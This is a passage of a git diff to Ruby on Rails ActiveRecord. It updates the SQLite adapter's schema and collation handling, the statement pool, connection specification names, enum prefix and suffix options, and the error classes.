data_source_exists?(table_name) + end + + def data_source_exists?(table_name) + return false unless table_name.present? + + sql = "SELECT name FROM sqlite_master WHERE type IN ('table','view') AND name <> 'sqlite_sequence'" + sql << " AND name = #{quote(table_name)}" + + select_values(sql, 'SCHEMA').any? + end + + def views # :nodoc: + select_values("SELECT name FROM sqlite_master WHERE type = 'view' AND name <> 'sqlite_sequence'", 'SCHEMA') + end + + def view_exists?(view_name) # :nodoc: + return false unless view_name.present? + + sql = "SELECT name FROM sqlite_master WHERE type = 'view' AND name <> 'sqlite_sequence'" + sql << " AND name = #{quote(view_name)}" + + select_values(sql, 'SCHEMA').any? end # Returns an array of +Column+ objects for the table specified by +table_name+. - def columns(table_name) #:nodoc: + def columns(table_name) # :nodoc: + table_name = table_name.to_s table_structure(table_name).map do |field| case field["dflt_value"] when /^null$/i @@ -372,9 +311,10 @@ module ActiveRecord field["dflt_value"] = $1.gsub('""', '"') end + collation = field['collation'] sql_type = field['type'] type_metadata = fetch_type_metadata(sql_type) - new_column(field['name'], field['dflt_value'], type_metadata, field['notnull'].to_i == 0) + new_column(field['name'], field['dflt_value'], type_metadata, field['notnull'].to_i == 0, table_name, nil, collation) end end @@ -403,13 +343,13 @@ module ActiveRecord end end - def primary_key(table_name) #:nodoc: + def primary_keys(table_name) # :nodoc: pks = table_structure(table_name).select { |f| f['pk'] > 0 } - return nil unless pks.count == 1 - pks[0]['name'] + pks.sort_by { |f| f['pk'] }.map { |f| f['name'] } end - def remove_index!(table_name, index_name) #:nodoc: + def remove_index(table_name, options = {}) #:nodoc: + index_name = index_name_for_remove(table_name, options) exec_query "DROP INDEX #{quote_column_name(index_name)}" end @@ -444,13 +384,15 @@ module ActiveRecord end end - def change_column_default(table_name, column_name, default) #:nodoc: + def change_column_default(table_name, column_name, default_or_changes) #:nodoc: + default = extract_new_default_value(default_or_changes) + alter_table(table_name) do |definition| definition[column_name].default = default end end - def change_column_null(table_name, column_name, null, default = nil) + def change_column_null(table_name, column_name, null, default = nil) #:nodoc: unless null || default.nil? exec_query("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL") end @@ -469,6 +411,7 @@ module ActiveRecord self.null = options[:null] if options.include?(:null) self.precision = options[:precision] if options.include?(:precision) self.scale = options[:scale] if options.include?(:scale) + self.collation = options[:collation] if options.include?(:collation) end end end @@ -482,9 +425,9 @@ module ActiveRecord protected def table_structure(table_name) - structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", 'SCHEMA').to_hash + structure = exec_query("PRAGMA table_info(#{quote_table_name(table_name)})", 'SCHEMA') raise(ActiveRecord::StatementInvalid, "Could not find table '#{table_name}'") if structure.empty? - structure + table_structure_with_collation(table_name, structure) end def alter_table(table_name, options = {}) #:nodoc: @@ -519,7 +462,7 @@ module ActiveRecord @definition.column(column_name, column.type, :limit => column.limit, :default => column.default, :precision => column.precision, :scale => column.scale, - :null => column.null) + :null => column.null, collation: column.collation) end yield @definition if block_given? end @@ -576,11 +519,51 @@ module ActiveRecord # Older versions of SQLite return: # column *column_name* is not unique when /column(s)? .* (is|are) not unique/, /UNIQUE constraint failed: .*/ - RecordNotUnique.new(message, exception) + RecordNotUnique.new(message) else super end end + + private + COLLATE_REGEX = /.*\"(\w+)\".*collate\s+\"(\w+)\".*/i.freeze + + def table_structure_with_collation(table_name, basic_structure) + collation_hash = {} + sql = "SELECT sql FROM + (SELECT * FROM sqlite_master UNION ALL + SELECT * FROM sqlite_temp_master) + WHERE type='table' and name='#{ table_name }' \;" + + # Result will have following sample string + # CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, + # "password_digest" varchar COLLATE "NOCASE"); + result = exec_query(sql, 'SCHEMA').first + + if result + # Splitting with left parentheses and picking up last will return all + # columns separated with comma(,). + columns_string = result["sql"].split('(').last + + columns_string.split(',').each do |column_string| + # This regex will match the column name and collation type and will save + # the value in $1 and $2 respectively. + collation_hash[$1] = $2 if (COLLATE_REGEX =~ column_string) + end + + basic_structure.map! do |column| + column_name = column['name'] + + if collation_hash.has_key? column_name + column['collation'] = collation_hash[column_name] + end + + column + end + else + basic_structure.to_hash + end + end end end end diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb index c6b1bc8b5b..9b0ed3e08b 100644 --- a/activerecord/lib/active_record/connection_adapters/statement_pool.rb +++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb @@ -1,38 +1,57 @@ module ActiveRecord module ConnectionAdapters - class StatementPool + class StatementPool # :nodoc: include Enumerable - def initialize(connection, max = 1000) - @connection = connection - @max = max + DEFAULT_STATEMENT_LIMIT = 1000 + + def initialize(statement_limit = nil) + @cache = Hash.new { |h,pid| h[pid] = {} } + @statement_limit = statement_limit || DEFAULT_STATEMENT_LIMIT end - def each - raise NotImplementedError + def each(&block) + cache.each(&block) end def key?(key) - raise NotImplementedError + cache.key?(key) end def [](key) - raise NotImplementedError + cache[key] end def length - raise NotImplementedError + cache.length end - def []=(sql, key) - raise NotImplementedError + def []=(sql, stmt) + while @statement_limit <= cache.size + dealloc(cache.shift.last) + end + cache[sql] = stmt end def clear - raise NotImplementedError + cache.each_value do |stmt| + dealloc stmt + end + cache.clear end def delete(key) + dealloc cache[key] + cache.delete(key) + end + + private + + def cache + @cache[Process.pid] + end + + def dealloc(stmt) raise NotImplementedError end end diff --git a/activerecord/lib/active_record/connection_handling.rb b/activerecord/lib/active_record/connection_handling.rb index 24f5849e45..f932deb18d 100644 --- a/activerecord/lib/active_record/connection_handling.rb +++ b/activerecord/lib/active_record/connection_handling.rb @@ -8,7 +8,7 @@ module ActiveRecord # example for regular databases (MySQL, PostgreSQL, etc): # # ActiveRecord::Base.establish_connection( - # adapter: "mysql", + # adapter: "mysql2", # host: "localhost", # username: "myuser", # password: "mypass", @@ -35,26 +35,30 @@ module ActiveRecord # "postgres://myuser:mypass@localhost/somedatabase" # ) # - # In case <tt>ActiveRecord::Base.configurations</tt> is set (Rails - # automatically loads the contents of config/database.yml into it), + # In case {ActiveRecord::Base.configurations}[rdoc-ref:Core.configurations] + # is set (Rails automatically loads the contents of config/database.yml into it), # a symbol can also be given as argument, representing a key in the # configuration hash: # # ActiveRecord::Base.establish_connection(:production) # - # The exceptions AdapterNotSpecified, AdapterNotFound and ArgumentError + # The exceptions AdapterNotSpecified, AdapterNotFound and +ArgumentError+ # may be returned on an error. def establish_connection(spec = nil) + raise "Anonymous class is not allowed." unless name + spec ||= DEFAULT_ENV.call.to_sym resolver = ConnectionAdapters::ConnectionSpecification::Resolver.new configurations - spec = resolver.spec(spec) + # TODO: uses name on establish_connection, for backwards compatibility + spec = resolver.spec(spec, self == Base ? "primary" : name) unless respond_to?(spec.adapter_method) raise AdapterNotFound, "database configuration specifies nonexistent #{spec.config[:adapter]} adapter" end - remove_connection - connection_handler.establish_connection self, spec + remove_connection(spec.name) + self.connection_specification_name = spec.name + connection_handler.establish_connection spec end class MergeAndResolveDefaultUrlConfig # :nodoc: @@ -87,8 +91,18 @@ module ActiveRecord retrieve_connection end + attr_writer :connection_specification_name + + # Return the specification name from the current class or its parent. + def connection_specification_name + if !defined?(@connection_specification_name) || @connection_specification_name.nil? + return self == Base ? "primary" : superclass.connection_specification_name + end + @connection_specification_name + end + def connection_id - ActiveRecord::RuntimeRegistry.connection_id + ActiveRecord::RuntimeRegistry.connection_id ||= Thread.current.object_id end def connection_id=(connection_id) @@ -106,20 +120,28 @@ module ActiveRecord end def connection_pool - connection_handler.retrieve_connection_pool(self) or raise ConnectionNotEstablished + connection_handler.retrieve_connection_pool(connection_specification_name) or raise ConnectionNotEstablished end def retrieve_connection - connection_handler.retrieve_connection(self) + connection_handler.retrieve_connection(connection_specification_name) end # Returns +true+ if Active Record is connected. def connected? - connection_handler.connected?(self) + connection_handler.connected?(connection_specification_name) end - def remove_connection(klass = self) - connection_handler.remove_connection(klass) + def remove_connection(name = nil) + name ||= @connection_specification_name if defined?(@connection_specification_name) + # if removing a connection that have a pool, we reset the + # connection_specification_name so it will use the parent + # pool. + if connection_handler.retrieve_connection_pool(name) + self.connection_specification_name = nil + end + + connection_handler.remove_connection(name) end def clear_cache! # :nodoc: diff --git a/activerecord/lib/active_record/core.rb b/activerecord/lib/active_record/core.rb index 9a39a0e919..f936e865e4 100644 --- a/activerecord/lib/active_record/core.rb +++ b/activerecord/lib/active_record/core.rb @@ -72,6 +72,14 @@ module ActiveRecord ## # :singleton-method: + # Specifies if an error should be raised on query limit or order being + # ignored when doing batch queries. Useful in applications where the + # limit or scope being ignored is error-worthy, rather than a warning. + mattr_accessor :error_on_ignored_order_or_limit, instance_writer: false + self.error_on_ignored_order_or_limit = false + + ## + # :singleton-method: # Specify whether or not to use timestamps for migration versions mattr_accessor :timestamped_migrations, instance_writer: false self.timestamped_migrations = true @@ -88,12 +96,22 @@ module ActiveRecord ## # :singleton-method: # Specifies which database schemas to dump when calling db:structure:dump. - # If :schema_search_path (the default), it will dumps any schemas listed in schema_search_path. - # Use :all to always dumps all schemas regardless of the schema_search_path. - # A string of comma separated schemas can also be used to pass a custom list of schemas. + # If the value is :schema_search_path (the default), any schemas listed in + # schema_search_path are dumped. Use :all to dump all schemas regardless + # of schema_search_path, or a string of comma separated schemas for a + # custom list. mattr_accessor :dump_schemas, instance_writer: false self.dump_schemas = :schema_search_path + ## + # :singleton-method: + # Specify a threshold for the size of query result sets. If the number of + # records in the set exceeds the threshold, a warning is logged. This can + # be used to identify queries which load thousands of records and + # potentially cause memory bloat. + mattr_accessor :warn_on_records_fetched_greater_than, instance_writer: false + self.warn_on_records_fetched_greater_than = nil + mattr_accessor :maintain_test_schema, instance_accessor: false mattr_accessor :belongs_to_required_by_default, instance_accessor: false @@ -118,7 +136,7 @@ module ActiveRecord end def initialize_find_by_cache # :nodoc: - @find_by_statement_cache = {}.extend(Mutex_m) + @find_by_statement_cache = { true => {}.extend(Mutex_m), false => {}.extend(Mutex_m) } end def inherited(child_class) # :nodoc: @@ -141,7 +159,7 @@ module ActiveRecord id = id.id ActiveSupport::Deprecation.warn(<<-MSG.squish) You are passing an instance of ActiveRecord::Base to `find`. - Please pass the id of the object by calling `.id` + Please pass the id of the object by calling `.id`. MSG end @@ -152,11 +170,13 @@ module ActiveRecord } record = statement.execute([id], self, connection).first unless record - raise RecordNotFound, "Couldn't find #{name} with '#{primary_key}'=#{id}" + raise RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}", + name, primary_key, id) end record rescue RangeError - raise RecordNotFound, "Couldn't find #{name} with an out of range value for '#{primary_key}'" + raise RecordNotFound.new("Couldn't find #{name} with an out of range value for '#{primary_key}'", + name, primary_key) end def find_by(*args) # :nodoc: @@ -165,7 +185,7 @@ module ActiveRecord hash = args.first return super if hash.values.any? { |v| - v.nil? || Array === v || Hash === v + v.nil? || Array === v || Hash === v || Relation === v } # We can't cache Post.find_by(author: david) ...yet @@ -181,15 +201,15 @@ module ActiveRecord } begin statement.execute(hash.values, self, connection).first - rescue TypeError => e - raise ActiveRecord::StatementInvalid.new(e.message, e) + rescue TypeError + raise ActiveRecord::StatementInvalid rescue RangeError nil end end def find_by!(*args) # :nodoc: - find_by(*args) or raise RecordNotFound.new("Couldn't find #{name}") + find_by(*args) or raise RecordNotFound.new("Couldn't find #{name}", name) end def initialize_generated_modules # :nodoc: @@ -237,13 +257,18 @@ module ActiveRecord # Returns the Arel engine. def arel_engine # :nodoc: @arel_engine ||= - if Base == self || connection_handler.retrieve_connection_pool(self) + if Base == self || connection_handler.retrieve_connection_pool(connection_specification_name) self else superclass.arel_engine end end + def arel_attribute(name, table = arel_table) # :nodoc: + name = attribute_alias(name) if attribute_alias?(name) + table[name] + end + def predicate_builder # :nodoc: @predicate_builder ||= PredicateBuilder.new(table_metadata) end @@ -255,15 +280,16 @@ module ActiveRecord private def cached_find_by_statement(key, &block) # :nodoc: - @find_by_statement_cache[key] || @find_by_statement_cache.synchronize { - @find_by_statement_cache[key] ||= StatementCache.create(connection, &block) + cache = @find_by_statement_cache[connection.prepared_statements] + cache[key] || cache.synchronize { + cache[key] ||= StatementCache.create(connection, &block) } end def relation # :nodoc: relation = Relation.create(self, arel_table, predicate_builder) - if finder_needs_type_condition? + if finder_needs_type_condition? && !ignore_default_scope? relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name) else relation @@ -284,7 +310,7 @@ module ActiveRecord # # Instantiates a single new object # User.new(first_name: 'Jamie') def initialize(attributes = nil) - @attributes = self.class._default_attributes.dup + @attributes = self.class._default_attributes.deep_dup self.class.define_attribute_methods init_internals @@ -296,15 +322,19 @@ module ActiveRecord _run_initialize_callbacks end - # Initialize an empty model object from +coder+. +coder+ must contain - # the attributes necessary for initializing an empty model object. For - # example: + # Initialize an empty model object from +coder+. +coder+ should be + # the result of previously encoding an Active Record model, using + # #encode_with. # # class Post < ActiveRecord::Base # end # + # old_post = Post.new(title: "hello world") + # coder = {} + # old_post.encode_with(coder) + # # post = Post.allocate - # post.init_with('attributes' => { 'title' => 'hello world' }) + # post.init_with(coder) # post.title # => 'hello world' def init_with(coder) coder = LegacyYamlAdapter.convert(self.class, coder) @@ -350,7 +380,7 @@ module ActiveRecord ## def initialize_dup(other) # :nodoc: - @attributes = @attributes.dup + @attributes = @attributes.deep_dup @attributes.reset(self.class.primary_key) _run_initialize_callbacks @@ -363,7 +393,7 @@ module ActiveRecord # Populate +coder+ with attributes about this record that should be # serialized. The structure of +coder+ defined in this method is - # guaranteed to match the structure of +coder+ passed to the +init_with+ + # guaranteed to match the structure of +coder+ passed to the #init_with # method. # # Example: @@ -461,7 +491,7 @@ module ActiveRecord "#<#{self.class} #{inspection}>" end - # Takes a PP and prettily prints this record to it, allowing you to get a nice result from `pp record` + # Takes a PP and prettily prints this record to it, allowing you to get a nice result from <tt>pp record</tt> # when pp is required. def pretty_print(pp) return super if custom_inspect_method_defined? diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb index 82596b63df..1b6817554d 100644 --- a/activerecord/lib/active_record/counter_cache.rb +++ b/activerecord/lib/active_record/counter_cache.rb @@ -45,14 +45,14 @@ module ActiveRecord end # A generic "counter updater" implementation, intended primarily to be - # used by increment_counter and decrement_counter, but which may also + # used by #increment_counter and #decrement_counter, but which may also # be useful on its own. It simply does a direct SQL update for the record # with the given ID, altering the given hash of counters by the amount # given by the corresponding value: # # ==== Parameters # - # * +id+ - The id of the object you wish to update a counter on or an Array of ids. + # * +id+ - The id of the object you wish to update a counter on or an array of ids. # * +counters+ - A Hash containing the names of the fields # to update as keys and the amount to update the field by as values. # @@ -86,37 +86,37 @@ module ActiveRecord # Increment a numeric field by one, via a direct SQL update. # # This method is used primarily for maintaining counter_cache columns that are - # used to store aggregate values. For example, a DiscussionBoard may cache + # used to store aggregate values. For example, a +DiscussionBoard+ may cache # posts_count and comments_count to avoid running an SQL query to calculate the # number of posts and comments there are, each time it is displayed. # # ==== Parameters # # * +counter_name+ - The name of the field that should be incremented. - # * +id+ - The id of the object that should be incremented or an Array of ids. + # * +id+ - The id of the object that should be incremented or an array of ids. # # ==== Examples # - # # Increment the post_count column for the record with an id of 5 - # DiscussionBoard.increment_counter(:post_count, 5) + # # Increment the posts_count column for the record with an id of 5 + # DiscussionBoard.increment_counter(:posts_count, 5) def increment_counter(counter_name, id) update_counters(id, counter_name => 1) end # Decrement a numeric field by one, via a direct SQL update. # - # This works the same as increment_counter but reduces the column value by + # This works the same as #increment_counter but reduces the column value by # 1 instead of increasing it. # # ==== Parameters # # * +counter_name+ - The name of the field that should be decremented. - # * +id+ - The id of the object that should be decremented or an Array of ids. + # * +id+ - The id of the object that should be decremented or an array of ids. # # ==== Examples # - # # Decrement the post_count column for the record with an id of 5 - # DiscussionBoard.decrement_counter(:post_count, 5) + # # Decrement the posts_count column for the record with an id of 5 + # DiscussionBoard.decrement_counter(:posts_count, 5) def decrement_counter(counter_name, id) update_counters(id, counter_name => -1) end diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb index ea88983917..7be332fb97 100644 --- a/activerecord/lib/active_record/enum.rb +++ b/activerecord/lib/active_record/enum.rb @@ -18,10 +18,9 @@ module ActiveRecord # conversation.archived? # => true # conversation.status # => "archived" # - # # conversation.update! status: 1 + # # conversation.status = 1 # conversation.status = "archived" # - # # conversation.update! status: nil # conversation.status = nil # conversation.status.nil? # => true # conversation.status # => nil @@ -32,7 +31,7 @@ module ActiveRecord # Conversation.active # Conversation.archived # - # Of course, you can also query them directly if the scopes doesn't fit your + # Of course, you can also query them directly if the scopes don't fit your # needs: # # Conversation.where(status: [:active, :archived]) @@ -47,13 +46,13 @@ module ActiveRecord # Good practice is to let the first declared status be the default. # # Finally, it's also possible to explicitly map the relation between attribute and - # database integer with a +Hash+: + # database integer with a hash: # # class Conversation < ActiveRecord::Base # enum status: { active: 0, archived: 1 } # end # - # Note that when an +Array+ is used, the implicit mapping from the values to database + # Note that when an array is used, the implicit mapping from the values to database # integers is derived from the order the values appear in the array. In the example, # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt> # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the @@ -61,7 +60,7 @@ module ActiveRecord # # Therefore, once a value is added to the enum array, its position in the array must # be maintained, and new values should only be added to the end of the array. To - # remove unused values, the explicit +Hash+ syntax should be used. + # remove unused values, the explicit hash syntax should be used. # # In rare circumstances you might need to access the mapping directly. # The mappings are exposed through a class method with the pluralized attribute @@ -75,10 +74,28 @@ module ActiveRecord # # Conversation.where("status <> ?", Conversation.statuses[:archived]) # + # You can use the +:_prefix+ or +:_suffix+ options when you need to define + # multiple enums with same values. If the passed value is +true+, the methods + # are prefixed/suffixed with the name of the enum. It is also possible to + # supply a custom value: + # + # class Conversation < ActiveRecord::Base + # enum status: [:active, :archived], _suffix: true + # enum comments_status: [:active, :inactive], _prefix: :comments + # end + # + # With the above example, the bang and predicate methods along with the + # associated scopes are now prefixed and/or suffixed accordingly: + # + # conversation.active_status! + # conversation.archived_status? # => false + # + # conversation.comments_inactive! + # conversation.comments_active? # => false module Enum def self.extended(base) # :nodoc: - base.class_attribute(:defined_enums) + base.class_attribute(:defined_enums, instance_writer: false) base.defined_enums = {} end @@ -87,10 +104,11 @@ module ActiveRecord super end - class EnumType < Type::Value - def initialize(name, mapping) + class EnumType < Type::Value # :nodoc: + def initialize(name, mapping, subtype) @name = name @mapping = mapping + @subtype = subtype end def cast(value) @@ -101,56 +119,78 @@ module ActiveRecord elsif mapping.has_value?(value) mapping.key(value) else - raise ArgumentError, "'#{value}' is not a valid #{name}" + assert_valid_value(value) end end def deserialize(value) return if value.nil? - mapping.key(value.to_i) + mapping.key(subtype.deserialize(value)) end def serialize(value) mapping.fetch(value, value) end + def assert_valid_value(value) + unless value.blank? || mapping.has_key?(value) || mapping.has_value?(value) + raise ArgumentError, "'#{value}' is not a valid #{name}" + end + end + protected - attr_reader :name, :mapping + attr_reader :name, :mapping, :subtype end def enum(definitions) klass = self + enum_prefix = definitions.delete(:_prefix) + enum_suffix = definitions.delete(:_suffix) definitions.each do |name, values| # statuses = { } enum_values = ActiveSupport::HashWithIndifferentAccess.new name = name.to_sym - # def self.statuses statuses end + # def self.statuses() statuses end detect_enum_conflict!(name, name.to_s.pluralize, true) klass.singleton_class.send(:define_method, name.to_s.pluralize) { enum_values } detect_enum_conflict!(name, name) detect_enum_conflict!(name, "#{name}=") - attribute name, EnumType.new(name, enum_values) + decorate_attribute_type(name, :enum) do |subtype| + EnumType.new(name, enum_values, subtype) + end _enum_methods_module.module_eval do pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index pairs.each do |value, i| + if enum_prefix == true + prefix = "#{name}_" + elsif enum_prefix + prefix = "#{enum_prefix}_" + end + if enum_suffix == true + suffix = "_#{name}" + elsif enum_suffix + suffix = "_#{enum_suffix}" + end + + value_method_name = "#{prefix}#{value}#{suffix}" enum_values[value] = i # def active?() status == 0 end - klass.send(:detect_enum_conflict!, name, "#{value}?") - define_method("#{value}?") { self[name] == value.to_s } + klass.send(:detect_enum_conflict!, name, "#{value_method_name}?") + define_method("#{value_method_name}?") { self[name] == value.to_s } # def active!() update! status: :active end - klass.send(:detect_enum_conflict!, name, "#{value}!") - define_method("#{value}!") { update! name => value } + klass.send(:detect_enum_conflict!, name, "#{value_method_name}!") + define_method("#{value_method_name}!") { update! name => value } # scope :active, -> { where status: 0 } - klass.send(:detect_enum_conflict!, name, value, true) - klass.scope value, -> { klass.where name => value } + klass.send(:detect_enum_conflict!, name, value_method_name, true) + klass.scope value_method_name, -> { where(name => value) } end end defined_enums[name.to_s] = enum_values @@ -173,30 +213,22 @@ module ActiveRecord def detect_enum_conflict!(enum_name, method_name, klass_method = false) if klass_method && dangerous_class_method?(method_name) - raise ArgumentError, ENUM_CONFLICT_MESSAGE % { - enum: enum_name, - klass: self.name, - type: 'class', - method: method_name, - source: 'Active Record' - } + raise_conflict_error(enum_name, method_name, type: 'class') elsif !klass_method && dangerous_attribute_method?(method_name) - raise ArgumentError, ENUM_CONFLICT_MESSAGE % { - enum: enum_name, - klass: self.name, - type: 'instance', - method: method_name, - source: 'Active Record' - } + raise_conflict_error(enum_name, method_name) elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module) - raise ArgumentError, ENUM_CONFLICT_MESSAGE % { - enum: enum_name, - klass: self.name, - type: 'instance', - method: method_name, - source: 'another enum' - } + raise_conflict_error(enum_name, method_name, source: 'another enum') end end + + def raise_conflict_error(enum_name, method_name, type: 'instance', source: 'Active Record') + raise ArgumentError, ENUM_CONFLICT_MESSAGE % { + enum: enum_name, + klass: self.name, + type: type, + method: method_name, + source: source + } + end end end diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb index 98aee77557..b8b8684cff 100644 --- a/activerecord/lib/active_record/errors.rb +++ b/activerecord/lib/active_record/errors.rb @@ -7,8 +7,10 @@ module ActiveRecord end # Raised when the single-table inheritance mechanism fails to locate the subclass - # (for example due to improper usage of column that +inheritance_column+ points to). - class SubclassNotFound < ActiveRecordError #:nodoc: + # (for example due to improper usage of column that + # {ActiveRecord::Base.inheritance_column}[rdoc-ref:ModelSchema::ClassMethods#inheritance_column] + # points to). + class SubclassNotFound < ActiveRecordError end # Raised when an object assigned to an association has an incorrect type. @@ -40,27 +42,40 @@ module ActiveRecord class AdapterNotFound < ActiveRecordError end - # Raised when connection to the database could not been established (for - # example when +connection=+ is given a nil object). + # Raised when connection to the database could not been established (for example when + # {ActiveRecord::Base.connection=}[rdoc-ref:ConnectionHandling#connection] + # is given a nil object). class ConnectionNotEstablished < ActiveRecordError end - # Raised when Active Record cannot find record by given id or set of ids. + # Raised when Active Record cannot find a record by given id or set of ids. class RecordNotFound < ActiveRecordError + attr_reader :model, :primary_key, :id + + def initialize(message = nil, model = nil, primary_key = nil, id = nil) + @primary_key = primary_key + @model = model + @id = id + + super(message) + end end - # Raised by ActiveRecord::Base.save! and ActiveRecord::Base.create! methods when record cannot be - # saved because record is invalid. + # Raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and + # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!] + # methods when a record is invalid and can not be saved. class RecordNotSaved < ActiveRecordError attr_reader :record - def initialize(message, record = nil) + def initialize(message = nil, record = nil) @record = record super(message) end end - # Raised by ActiveRecord::Base.destroy! when a call to destroy would return false. + # Raised by {ActiveRecord::Base#destroy!}[rdoc-ref:Persistence#destroy!] + # when a call to {#destroy}[rdoc-ref:Persistence#destroy!] + # would return false. # # begin # complex_operation_that_internally_calls_destroy! @@ -71,26 +86,34 @@ module ActiveRecord class RecordNotDestroyed < ActiveRecordError attr_reader :record - def initialize(record) + def initialize(message = nil, record = nil) @record = record - super() + super(message) end end # Superclass for all database execution errors. # - # Wraps the underlying database error as +original_exception+. + # Wraps the underlying database error as +cause+. class StatementInvalid < ActiveRecordError - attr_reader :original_exception - def initialize(message, original_exception = nil) - super(message) - @original_exception = original_exception + def initialize(message = nil, original_exception = nil) + if original_exception + ActiveSupport::Deprecation.warn("Passing #original_exception is deprecated and has no effect. " \ + "Exceptions will automatically capture the original exception.", caller) + end + + super(message || $!.try(:message)) + end + + def original_exception + ActiveSupport::Deprecation.warn("#original_exception is deprecated. Use #cause instead.", caller) + cause end end # Defunct wrapper class kept for compatibility. - # +StatementInvalid+ wraps the original exception now. + # StatementInvalid wraps the original exception now. class WrappedDatabaseException < StatementInvalid end @@ -102,9 +125,13 @@ module ActiveRecord class InvalidForeignKey < WrappedDatabaseException end + # Raised when a record cannot be inserted or updated because a value too long for a column type. + class ValueTooLong < StatementInvalid + end + # Raised when number of bind variables in statement given to +:condition+ key - # (for example, when using +find+ method) does not match number of expected - # values supplied. + # (for example, when using {ActiveRecord::Base.find}[rdoc-ref:FinderMethods#find] method) + # does not match number of expected values supplied. # # For example, when there are two placeholders with only one value supplied: # @@ -116,6 +143,11 @@ module ActiveRecord class NoDatabaseError < StatementInvalid end + # Raised when Postgres returns 'cached plan must not change result type' and + # we cannot retry gracefully (e.g. inside a transaction) + class PreparedStatementCacheExpired < StatementInvalid + end + # Raised on attempt to save stale record. Record is stale when it's being saved in another query after # instantiation, for example, when two users edit the same wiki page and one starts editing and saves # the page before the other. @@ -125,16 +157,22 @@ module ActiveRecord class StaleObjectError < ActiveRecordError attr_reader :record, :attempted_action - def initialize(record, attempted_action) - super("Attempted to #{attempted_action} a stale object: #{record.class.name}") - @record = record - @attempted_action = attempted_action + def initialize(record = nil, attempted_action = nil) + if record && attempted_action + @record = record + @attempted_action = attempted_action + super("Attempted to #{attempted_action} a stale object: #{record.class.name}.") + else + super("Stale object error.") + end end end # Raised when association is being configured improperly or user tries to use - # offset and limit together with +has_many+ or +has_and_belongs_to_many+ + # offset and limit together with + # {ActiveRecord::Base.has_many}[rdoc-ref:Associations::ClassMethods#has_many] or + # {ActiveRecord::Base.has_and_belongs_to_many}[rdoc-ref:Associations::ClassMethods#has_and_belongs_to_many] # associations. class ConfigurationError < ActiveRecordError end @@ -143,9 +181,10 @@ module ActiveRecord class ReadOnlyRecord < ActiveRecordError end - # ActiveRecord::Transactions::ClassMethods.transaction uses this exception - # to distinguish a deliberate rollback from other exceptional situations. - # Normally, raising an exception will cause the +transaction+ method to rollback + # {ActiveRecord::Base.transaction}[rdoc-ref:Transactions::ClassMethods#transaction] + # uses this exception to distinguish a deliberate rollback from other exceptional situations. + # Normally, raising an exception will cause the + # {.transaction}[rdoc-ref:Transactions::ClassMethods#transaction] method to rollback # the database transaction *and* pass on the exception. But if you raise an # ActiveRecord::Rollback exception, then the database transaction will be rolled back, # without passing on the exception. @@ -182,25 +221,26 @@ module ActiveRecord UnknownAttributeError = ActiveModel::UnknownAttributeError # Raised when an error occurred while doing a mass assignment to an attribute through the - # +attributes=+ method. The exception has an +attribute+ property that is the name of the - # offending attribute. + # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] method. + # The exception has an +attribute+ property that is the name of the offending attribute. class AttributeAssignmentError < ActiveRecordError attr_reader :exception, :attribute - def initialize(message, exception, attribute) + def initialize(message = nil, exception = nil, attribute = nil) super(message) @exception = exception @attribute = attribute end end - # Raised when there are multiple errors while doing a mass assignment through the +attributes+ + # Raised when there are multiple errors while doing a mass assignment through the + # {ActiveRecord::Base#attributes=}[rdoc-ref:AttributeAssignment#attributes=] # method. The exception has an +errors+ property that contains an array of AttributeAssignmentError # objects, each corresponding to the error while assigning to an attribute. class MultiparameterAssignmentErrors < ActiveRecordError attr_reader :errors - def initialize(errors) + def initialize(errors = nil) @errors = errors end end @@ -209,11 +249,16 @@ module ActiveRecord class UnknownPrimaryKey < ActiveRecordError attr_reader :model - def initialize(model) - super("Unknown primary key for table #{model.table_name} in model #{model}.") - @model = model + def initialize(model = nil, description = nil) + if model + message = "Unknown primary key for table #{model.table_name} in model #{model}." + message += "\n#{description}" if description + @model = model + super(message) + else + super("Unknown primary key.") + end end - end # Raised when a relation cannot be mutated because it's already loaded. @@ -236,7 +281,12 @@ module ActiveRecord # * You are joining an existing open transaction # * You are creating a nested (savepoint) transaction # - # The mysql, mysql2 and postgresql adapters support setting the transaction isolation level. + # The mysql2 and postgresql adapters support setting the transaction isolation level. class TransactionIsolationError < ActiveRecordError end + + # IrreversibleOrderError is raised when a relation's order is too complex for + # +reverse_order+ to automatically reverse. + class IrreversibleOrderError < ActiveRecordError + end end diff --git a/activerecord/lib/active_record/explain_registry.rb b/activerecord/lib/active_record/explain_registry.rb index f5cd57e075..b652932f9c 100644 --- a/activerecord/lib/active_record/explain_registry.rb +++ b/activerecord/lib/active_record/explain_registry.rb @@ -7,7 +7,7 @@ module ActiveRecord # # returns the collected queries local to the current thread. # - # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt> + # See the documentation of ActiveSupport::PerThreadRegistry # for further details. class ExplainRegistry # :nodoc: extend ActiveSupport::PerThreadRegistry diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb index 6a49936644..90bcf5a205 100644 --- a/activerecord/lib/active_record/explain_subscriber.rb +++ b/activerecord/lib/active_record/explain_subscriber.rb @@ -14,12 +14,12 @@ module ActiveRecord end # SCHEMA queries cannot be EXPLAINed, also we do not want to run EXPLAIN on - # our own EXPLAINs now matter how loopingly beautiful that would be. + # our own EXPLAINs no matter how loopingly beautiful that would be. # # On the other hand, we want to monitor the performance of our real database # queries, not the performance of the access to the query cache. IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN 